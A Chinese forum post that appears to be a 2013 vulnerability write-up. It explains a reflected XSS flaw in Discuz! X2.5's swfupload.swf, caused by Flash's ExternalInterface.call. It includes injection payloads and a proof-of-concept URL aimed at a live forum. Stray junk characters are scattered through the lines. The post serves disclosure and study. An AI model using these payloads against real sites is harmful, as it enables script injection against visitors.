找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1982|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
% S$ a, W% C$ [5 |2 W
; c3 _5 f# w7 Q# M( ]flash.external.ExternalInterface.call($methodName, $parameter). V1 w  V$ C$ P! c! R- @
在浏览器中执行的是
2 l1 ?/ ~. J8 q; I& Q
  ^" F' o- B' F" @6 F! P" s2 Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
8 m$ }' H  h4 a% f5 N- m对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
; ?/ v4 Z1 A( i) B8 B" G* l
7 ~( K0 D% G( q+ B$ Q" |  Cflash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 ~9 W4 t) v" G( Y9 W$methodName = a())}catch(e){alert(/xss/)}//
+ B0 ~' M4 R# w6 E0 N结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
* @, Z$ G6 z8 S( l, ~
  o0 X+ {6 _' b( \) h9 Jtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' ]0 C" U, X2 h1 B* K4 M' d0 ~! g" ~* c6 k! X
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )3 F5 a  M  A- q
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
1 U$ h5 r" c# M7 f- j; F/ }# S4 C/ o( ?3 F8 y
# d# a  g" J9 {2 ]; n
7 p- T0 J# h; y  ?0 e( I+ N# ?
漏洞文件:upload\static\image\common\swfupload.swf
! r2 Q0 p/ ]/ B$ g( E* @! X. P1 E: F# h; M1 \; V7 I
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf% Q. \: f% x6 A" k

9 W2 i) |$ U2 Y2 N9 A8 P: O8 Y
4 E/ V& u2 I# n0 e8 `+ B% X: k漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
& a' o3 p$ E0 |9 n8 y3 z  Q1 I- M8 S6 P

' P  I/ f4 a( o4 T8 _8 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表